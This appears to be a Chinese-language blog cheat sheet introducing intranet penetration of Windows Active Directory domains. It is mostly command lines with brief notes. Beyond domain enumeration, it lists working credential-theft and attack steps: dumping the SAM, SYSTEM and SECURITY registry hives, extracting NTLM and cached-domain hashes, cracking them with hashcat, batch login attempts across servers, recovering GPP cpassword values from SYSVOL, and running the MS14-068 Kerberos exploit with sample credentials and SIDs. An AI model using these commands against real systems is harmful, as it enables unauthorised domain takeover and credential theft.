内网基础入门

内网入门

基本介绍与信息获取

基本介绍

1
c:\windows\NTDS 全称ntds.dit(存储域内账户hash)
1
C:\Windows\system32\config\ SAM Hash  存储windows用户hash
1
c:\windows\SYSOL Sysvol文件夹
1
Administrator 用户 管理计算机(域)的内置账户
1
Domain Admins 指定的域管理员
1
Domain Computers 加入到域中的所有工作站和服务器
1
Domain Controllers 域中所有域控制器
1
Domain Guests 域的所有来宾
1
Domain Users 所有域用户
1
Enterprise Admins 企业的指定系统管理员(加入可以访问任何域资源)
1
krbtgt 服务账户(密钥分发中心&&不可以登陆)
1
\\domain\Netlogon目录 这个目录里存放的是域用户登录脚本,很多用户目录映射、打印机设置等操作的脚本都放在这里,这个目录是普通域用户权限就可读的。大部分时间能获得各个部门的共享文件夹,文件服务器目录,运气好时甚至能得到一些账号密码

基础信息获取

1
net user /domain 域用户
1
net Administrator /domain 域管理员
1
net user 本机用户
1
net localhroup administrators 本机管理员[通常含有域用户]
1
net group /domain 查询域工作组
1
net group "domain admins" /domain 查询域管理员用户组
1
net localgroup administrators /domain 登录本机的域管理员
1
net localgroup administrators workgroup\user001 /add 域用户添加到本机
1
net group "Domain controllers" 查看域控制器(如果有多台)
1
 net group “enterprise admins” /domain  获得企业管理员列表
1
 net localgroup administrators /domain 获取域内置administrators组用户,这个组内成员包含enterprise admins与domain admins,权限一样
1
 net group “domain controllers” /domain 获得域控制器列表
1
net group “domain computers” /domain 获得所有域成员计算机列表
1
net user someuser /domain 获得指定账户someuser的详细信息
1
net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息
1
nltest /domain_trusts 获取域信任信息
1
ipconfig /all   查询本机IP段,所在域等
1
net view 查询同一域内机器列表
1
net view /domain  查询域列表
1
net config workstation 判断是否在域内
1
systeminfo 判断是否在域内
1
net view /domain:domainname  查看workgroup域中计算机列表
1
net time /domain 判断主域,主域服务器都做时间服务器 
1
net config workstation 当前登录域 
1
net session  查看当前会话
1
net use \\ip\ipc$ pawword /user:username 建立IPC会话[空连接] 
1
net share   查看SMB指向的路径[即共享]
1
net view   查询同一域内机器列表
1
net view \\ip   查询某IP共享
1
net view /domain  查询域列表
1
net view /domain:domainname    查看workgroup域中计算机列表 
1
net start  查看当前运行的服务 
1
net accounts  查看本地密码策略 
1
net accounts /domain  查看域密码策略
1
nbtstat –A ip netbios 查询 
1
netstat –an/ano/anb 网络连接查询 
1
route print  路由表

详细信息获取

1
ldifde -u -f output.ldf 导出域内所有信息
1
csvde -u -f ouput.csv 导出域内所有信息
1
csvde.exe/ldifde.exe -u -r "(sAMAccountType=805306368)" -l sAMAccountName,displayname,lastlogon,pwdLastSet,description,mail,homedirectory,scriptpath -f output.csv 查询所有用户
1
dsquery computer获得域内所有计算机列表,输出为DN
1
dsquery server 获得所有域控制器
1
dsquery user 获得所有域用户
1
dsquery user | dsget user -samid -display -email 获得所有域用户
1
dsquery group 获得所有用户组
1
dsquery subnet 获得所有子网
1
dsquery site 获得所有站点
1
2
dsquery * forestroot -filter "(sAMAccountType=805306368)" -attr sAMAccountName displaynamedescription
查询所有用户
1
AdFind.exe -default -f "(sAMAccountType=805306368)" sAMAccountName displayname lastlogon pwdLastSet mail homedirectory scriptpath -int8time lastlogon;pwdlastset 所有用户信息

非域成员访问域控制器

1
csvde/ldifde -s servername -b username Domain password -f output.txt
1
dsquery * forestroot -s servername -u username -p password -filter "(sAMAccountType=805306368)" -attr sAMAccountName displayname description
1
adfind -h servername -u Domai\usernmae -up password -default -f "(sAMAccountType=805306368)" sAMAccountName displayname lastlogon pwdLastSet mail homedirectory scriptpath -int8time lastlogon;pwdlastset

winfo

1
winfo 192.168.1.4 查看其他机器信息

常见攻击方法

用户登陆迭代

  • 导出注册表

    1
    
    reg save hklm\sam sam.hive & reg save hklm\system system.hive & reg save hklm\security security.hive 导出注册表
  • 导出hash

    1
    2
    
    pwdump.py system.hive sam.hive
    https://github.com/Neohapsis/creddump7
  • 破解hash

    1
    
    http://www.hashkiller.co.uk/ntlm-decrypter.aspx
  • 收集服务器

    1
    
    dsquery * -filter "&(sAMAccountType=805306369)" -attr cn 收集所有计算机
    1
    
    dsquery * -filter "&(sAMAccountType=805306369)(OperatingSystem=*server*)" -attr cn 收集服务器
  • 尝试批量登陆

    1
    2
    
    LoginTester.bat
    https://github.com/Twi1ight/AD-Pentest-Script

-s指定机器名列表 -i指定ip地址段,暂时只支持C段,ip地址格式形如192.168.1.5-250 -u指定账号密码文件,账号密码用冒号分隔 -o指定输出文件 -d指定域名,如果账号只本地用户则不需要指定这个参数

1
logintester.bat -s server.txt -u server.txt -o output.txt

域登录缓存mscash

  • 导出注册表

    1
    
    reg save hklm\sam sam.hive & reg save hklm\system system.hive & reg save hklm\security security.hive 导出注册表
  • Creddump7提取mscash

    1
    
    cachedump.py system.hive securityhive true (2003 false)
  • 查看用户状态

    1
    
    net user username /domain
    1
    2
    3
    
    ldifde.exe -u -r "(sAMAccountName=adminjk)" -l pwdLastSet -s pdc.test.ad -b john test.ad Passw0rd. -f out.txt 
    
    w32tm /ntte 130XXXXXXX 查询完使用w32tm转化时间格式
    1
    
    AdFind.exe -u pdc.test.ad -u test.ad\john -up Passw0rd. -default -f "(sAMAccountName=adminjk)" pwdLastSet userAccountControl -int8time pwdLastSet

userAccountControl AD 用户属性userAccountControl的详细解释 userAccountControl

  • hashcat跑密码

    1
    
    hashcat -a 3 -m 2100 --force ‘$DCC2$10240#adminjk#259108604cb524e8c044d5cda274bae1’

GPP(组策略漏洞)

受影响文件 Groups.xml, Services\Services.xml ScheduledTasks\ScheduledTasks.xml Printers\Printers.xml Drives\Drives.xml DataSources\DataSources.xml

文件中查找类似的字符串 cpassword=“j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw”

  • 查看SYSVOL目录

    1
    
    net view \\域控制器
  • 测试是否有访问权限

    1
    
    dir \\域控制器\sysvol
  • 查找危险文件

    1
    
    dir \\域控制器\sysvol /s /a >sysvol.txt
  • 查看危险文件内容

    1
    
    type \\域控制器\sysvol\文件名
  • 脚本解密

MS14-68 kerberos

可以参考我的另一篇文章

IPC MS14068 Pth Ptt Ptk Kerberoating

1
域用户获取sid whoami /user
1
本地用户获取sid  dsquery user –s 192.168.1.111 –u test\john –p Passw0rd. –name john* | dsget user –s 192.168.1.111 –u test\john –p Passw0rd. –sid 
1
2
 ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
 ms14-068.py -u john@test.ad -s S-1-5-21-1729408145-521730468-1409314830-1104 -d 192.168.1.111 -p Passw0rd.